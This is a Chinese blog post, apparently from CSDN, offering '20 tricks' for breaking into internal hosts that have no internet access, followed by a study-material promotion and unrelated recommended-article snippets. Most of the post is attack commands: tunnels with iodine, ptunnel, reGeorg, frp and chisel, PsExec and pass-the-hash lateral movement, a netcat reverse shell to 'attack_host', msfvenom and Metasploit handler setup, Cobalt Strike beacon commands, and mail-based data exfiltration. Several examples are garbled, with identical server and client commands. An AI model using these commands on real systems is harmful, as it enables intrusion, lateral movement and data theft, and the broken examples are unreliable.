内网渗透骚操作:20招教你突破“与世隔绝”的目标主机

模糊综合评价模型 一.引子 1.数学归纳法:同高中知识 2.秃子悖论:秃子悖论 这俩个例子都是类似于“量变引起质变”的道理,而在数学中我们把这类问题的性质叫做“模糊性”,在生活中我们也经常能遇到一些模糊的概念,比如年轻、帅、很少很多… 二.概述 模糊综合评价法是一种基于模糊数学的综合评价方法。该综合评价法根据模糊数学的隶属度理论把定性评价转化为定量评价,即用模糊数学对受到多种因素制约的事物或对象做出一个总体的评价。它具有结果清晰,系统性强的特点,能较好地解决模糊的、难以量化的问题,适合各种非确定性问题的解决。——来自百度百 阅读详情

内网渗透,那可是个技术活儿,尤其是当目标主机“与世隔绝”,压根儿不让上网的时候。这时候,就得拿出点真本事,各种奇技淫巧、工具轮番上阵。今儿个,咱就来聊聊,如何在目标主机不出网的情况下,还能把它“拿下”的20种骚操作,保证让您大开眼界!

一、隧道与代理:内网穿梭的“任意门”
(一)端口转发:流量乾坤大挪移

端口转发,就像是给流量开了个“任意门”,让它在不同的主机之间穿梭。

  1. 1. 本地端口转发(Local Port Forwarding)

    简单来说,就是把目标主机上的服务“搬”到咱自己电脑上。 比如,想访问内网里的数据库服务器,可以用SSH端口转发:

    bash ssh -L 3306:192.168.1.100:3306 user@middle_host

    这条命令一敲,目标主机192.168.1.100的MySQL服务(3306端口)就跟咱本地的3306端口“喜结连理”了,直接访问本地端口就成!

  2. 2. 远程端口转发(Remote Port Forwarding)

    要是目标主机“害羞”,不肯主动找咱,那就让它把流量“反弹”给咱。 举个栗子:

    bash ssh -R 8080:localhost:80 user@attack_host

    这下,目标主机上的HTTP服务(80端口)就乖乖地跑到咱电脑的8080端口上“做客”了。

(二)代理隧道:网络限制?不存在的!

代理隧道,顾名思义,就是通过代理服务器,绕过各种网络限制。

  1. 3. Socks代理

    有了Socks代理,就像给咱的流量穿上了“隐身衣”。 比如,用proxychains配合代理服务器,扫描内网主机:

    bash proxychains nmap -sT -Pn internal_host

    这样,咱就能神不知鬼不觉地摸清内网的底细了。

  2. 4. HTTP代理

    把代理脚本“藏”在目标服务器上,就能建立起一条秘密通道。 reGeorg和Proxifier就是干这事儿的好手。

(三)DNS隧道:在DNS的海洋里“偷渡”

DNS隧道,就是把数据“伪装”成DNS请求,偷偷地溜出去。 就算HTTP、HTTPS这些“大路”被堵死了,DNS这条“小道”往往还能走通。iodine和dnscat2是常用的DNS隧道工具。

  1. 5. 使用iodine构建DNS隧道

    在攻击者主机上启动DNS服务器:

    bash iodine -f -c -P password example.com

    在目标主机上运行客户端:

    bash iodine -f -c -P password example.com

    数据就这样在DNS的“掩护”下,悄悄地完成了传输。

(四)ICMP隧道:Ping也能传数据?

ICMP隧道,就是利用ICMP流量(比如Ping)来传输数据,绕过防火墙。 有时候,TCP/UDP流量被“拒之门外”,但ICMP可能还“畅通无阻”。Ptunnel和icmpsh是常用的ICMP隧道工具。

  1. 6. 使用Ptunnel构建ICMP隧道

    在攻击者主机上启动Ptunnel:

    bash ptunnel -p 80 -lp 22 -da 192.168.1.100 -dp 22

    在目标主机上启动客户端:

    bash ptunnel -p 80 -lp 22 -da 192.168.1.100 -dp 22

    数据就这样在ICMP的“庇护”下,安全地完成了传输。

二、内网服务:突破的“隐秘角落”
(五)内网横向移动:步步为营,扩大战果

内网横向移动,就是利用内网里的“薄弱环节”,比如弱口令、漏洞啥的,一步步“蚕食”其他主机。

  1. 7. 使用PsExec远程执行命令

    bash PsExec.exe \192.168.1.100 -u user -p password cmd.exe

    PsExec一出马,就能在其他内网主机上“为所欲为”了。

  2. 8. Pass-the-Hash攻击

    有了哈希值,就不用密码也能“畅行无阻”。 比如:

    bash pth-winexe -U user%hash //192.168.1.100 cmd.exe

    pth-winexe一出手,Pass-the-Hash攻击轻松搞定。

(六)利用内网服务:另辟蹊径,出奇制胜

目标主机上可能藏着一些“宝藏”,比如数据库服务、文件共享服务,利用它们,说不定就能找到突破口。

  1. 9. 利用内网数据库服务

    通过数据库服务,也能和外面的世界“搭上线”。 比如,利用MySQL的LOAD DATA INFILE功能,把数据写到文件里,再想办法“运”出去。

  2. 10. 利用SMB隧道

    SMB隧道,就是利用内网文件共享服务来传输数据。 比如:

    bash smbclient //192.168.1.100/share -U user

    SMB客户端一连,内网文件共享服务就“尽在掌握”了。

(七)邮件、FTP等协议:曲线救国,柳暗花明

有些内网环境,虽然封了HTTP/HTTPS,但可能还留着其他“后门”,比如邮件、FTP。

  1. 11. 使用SMTP协议发送电子邮件

    用SMTP协议发邮件,把数据“寄”出去。 比如:

    bash echo "Data to exfiltrate" | mail -s "Subject" user@example.com

    数据就这样“飞”出去了。

  2. 12. 使用FTP上传或下载文件

    用FTP上传或下载文件,也是个不错的选择。 比如:

    bash ftp -i 192.168.1.100

    文件就这样“搬家”了。

三、反向连接:让目标主机“主动投怀送抱”
(八)反向Shell和反向隧道:主动出击,建立连接

反向Shell和反向隧道,就是让目标主机主动来找咱,建立起“爱的桥梁”。

  1. 13. 使用Netcat建立反向Shell

    在目标主机上运行:

    bash nc -e /bin/sh attack_host 4444

    在攻击者主机上监听:

    bash nc -l -p 4444

    Netcat一出手,反向Shell就到手。

  2. 14. 使用Metasploit建立反向Shell

    在目标主机上运行:

    bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=attack_host LPORT=4444 -f exe -o shell.exe

    在攻击者主机上运行:

    bash msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost attack_host; set lport 4444; run"

    Metasploit一出马,反向Shell更是不在话下。

(九)Cobalt Strike的中转功能: “隐形的翅膀”

Cobalt Strike,内网渗透的“神器”,它的Socks代理功能,能让目标主机在“与世隔绝”的情况下,也能通过中转,建立起代理连接。

  1. 15. 使用Cobalt Strike的Socks代理

    在目标主机上运行Beacon,通过Socks代理功能建立代理连接。例如:

    bash beacon> socks 8080

    在攻击者主机上使用代理工具连接到目标主机。

(十)SMB Beacon:隐蔽通信的“秘密武器”

SMB Beacon,Cobalt Strike里的“特种兵”,通过Windows命名管道通信,隐蔽性极高。

  1. 16. 使用SMB Beacon

    创建一个SMB的Listener后,可以在主Beacon上链接或断开子Beacon。例如:

    bash beacon> smb 192.168.1.100 445

    通过SMB Beacon建立连接。

四、工具与脚本:渗透利器,各显神通
(十一)reGeorg和Neo-reGeorg:代理隧道的“双子星”

reGeorg,代理隧道工具的“老大哥”,把脚本上传到目标服务器的网站目录下,就能建立起代理隧道。 Neo-reGeorg更是在此基础上加了“buff”,数据传输更隐蔽。

  1. 17. 使用reGeorg建立代理隧道

    在目标服务器上上传reGeorg脚本:

    bash curl -o proxy.py http://example.com/reGeorg.py

    在攻击者主机上运行代理客户端:

    bash python proxy.py -s http://192.168.1.100/reGeorg.py -l 8080 -r 192.168.1.200:80

    通过reGeorg建立代理隧道。

(十二)Pystinger:WebShell的“好搭档”

Pystinger,通过WebShell实现内网SOCK4代理,端口映射,让目标主机在“与世隔绝”的情况下也能“重见天日”。

  1. 18. 使用Pystinger建立代理

    将stinger_server.exe上传到目标服务器,并在公网VPS上运行stinger_client,建立代理连接。例如:

    bash python stinger_client.py -s 192.168.1.100 -p 8080 -l 8081

    通过Pystinger建立代理连接。

(十三)Frp:内网穿透的“瑞士军刀”

Frp,内网穿透工具的“扛把子”,在目标主机“与世隔绝”的情况下,通过已控的双网卡内网服务器,打通一条“生命通道”。

  1. 19. 使用Frp建立内网穿透

    在目标主机上运行Frp客户端:

    bash ./frpc -c frpc.ini

    在攻击者主机上运行Frp服务端:

    bash ./frps -c frps.ini

    通过Frp建立内网穿透。

(十四)其他工具和脚本:渗透工具箱的“百宝囊”

除了上面这些,还有很多其他的工具和脚本,也能在内网渗透中“大显身手”。

  1. 20. 使用Chisel建立隧道

    Chisel,轻量级隧道工具,内网穿透的“小能手”。 比如:

    在目标主机上运行:

    bash ./chisel client --reverse attack_host:8080 R:8081:localhost:80

    在攻击者主机上运行:

    bash ./chisel server --port 8080 --reverse

    通过Chisel建立隧道。


如何系统学习网络安全?

网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。

构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。

如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

RU DOS版、EFI版32bit/64bit BIOS常用工具 DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。 立即下载

相关推荐

matlab内读取文件目录时斜杠和反斜杠的使用

@matlab内读取文件目录时斜杠和反斜杠的使用TOC matlab内读取文件目录时,斜杠和反斜杠的使用 最近被斜杠和反斜杠弄晕了,于是总结了一下,在此和大家分享一下。 代码 clear; clc; close all; I1= imread('..\zs1.jpg'); %和代码文件夹同目录的图片 (纯反斜杠) I2= imread('../zs2/zs2.j...

weixin_44456694的博客 6575

内网渗透骚操作,从零基础到精通,收藏这篇就够了!

在渗透测试的战场上,突破内网环境那可是个硬茬,尤其是当目标主机“与世隔绝”,压根没法直接连外网的时候。这种情况下,咱们就得拿出各种“骚操作”和神器,在不直接出网的情况下,悄咪咪地渗透进去。今儿个,咱就来好好唠唠,,保证让你大开眼界!

Libra1313的博客 1350

Solidworks曲面建模学习(三)——样条曲线

本文主要演示平面的空间样条曲线的一些绘制。

东东不熬夜的博客 6506

内网渗透

目录什么是外网渗透什么是内网渗透域工作组 什么是外网渗透 外网更侧重于找漏洞寻找突破口 举个简单的例子: 把渗透测试当做去偷某家超市的某个商品。外网渗透就是突破超市的大门,进入超市。 想要进入超市,这个时候我们要寻找一下超市防守不到位的地方:比如是不是窗户没关,保安是不是半夜十二点就会开始划水,大门是不是没锁……综合素质很强的白帽会收集这些“漏洞”,综合多方因素,利用天时地利人和,突破限制,闯入“内网”。 所以,外网渗透阶段,考验的是白帽综合能力,想要进入内网是一个很难的过程。 什么是内网渗透 而内网更侧重

这是笔者初学时所做的笔记,有错误的地方太多了,有些结论也只是笔者的一家之言。请自行判断 1万+

ESD放电路径分析

当金属外壳接地情况下,大部分外部干扰信号将会通过外壳,外壳到接地点,再由接地点回到干扰信号的地,实现干扰信号的回流,这点不仅仅适用于​ESD,对于其他的RI类干扰,也同样适合。发现内部金属板跟外壳的搭接处存在较多的缝隙点,该缝隙点对于频率较高的信号能够实现较为理想的回流,但是对于频率没有那么高的信号,则较难以实现回流,我们尝试将这些缝隙用铜箔包裹住,充分降低该金属板跟外壳的接触阻抗​。我们分析,路径3其实是不期望的路径,我们最期望的路径是1,或者2的内部金属部件跟外壳良好接触情况下的路径。

domen_pan的博客 2233

STM32入门教程:WiFi通信

第四步:初始化串口 在生成的代码中,您可以找到一个名为 "USARTx_Init" 的函数,其中 "x" 是您选择的串口号。然后,我们使用 "AT+CIPSEND" 命令发送UDP数据,接收到服务器的回复,并在终端上显示收到的数据。在配置向导中,您可以选择启用USART串口功能,并根据您的硬件连接,将串口设置为与WiFi模块连接的串口。在上述代码中,我们使用了 "HAL_UART_Receive" 函数来接收串口数据,并使用 printf 来在终端上显示收到的数据。如果有任何问题,请随时向我提问。

2401_85258012的博客 1078

渗透攻防中常见的20种突破内网不出网技巧

渗透测试中,突破内网环境是一项极具挑战性的任务,尤其是当目标主机无法直接访问外部网络时。这种情况下,攻击者需要利用各种技巧和工具,在不直接出网的情况下进行内网渗透。本文将详细介绍20种常见的突破内网不出网的技巧,供参考。

2401_84215240的博客 1004

嵌入式Zephyr RTOS面试题及参考答案

在Zephyr中,为自定义外设编写Devicetree绑定(Bindings)有助于内核理解设备树中自定义外设节点的含义和属性。首先,需要创建一个.yaml格式的绑定文件,通常存放在目录下对应的子目录中,文件名应能反映外设的类型和功能。绑定文件的开头要定义基本信息,包括字段,用于简要描述外设的功能和用途;compatible字段,它是一个字符串列表,用于匹配设备树中自定义外设节点的compatible属性,设备树节点和绑定文件通过这个字段关联起来。接下来,要定义外设节点的属性。使用properties。

大模型大数据攻城狮的专栏 988
上一篇: 【arp攻击】什么是中间人攻击,流量欺骗与流量劫持该怎么实现!
下一篇: 论玩弄人性还得是黑客:我用3次红队实战,看清社会工程学的 “恐怖” 价值
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值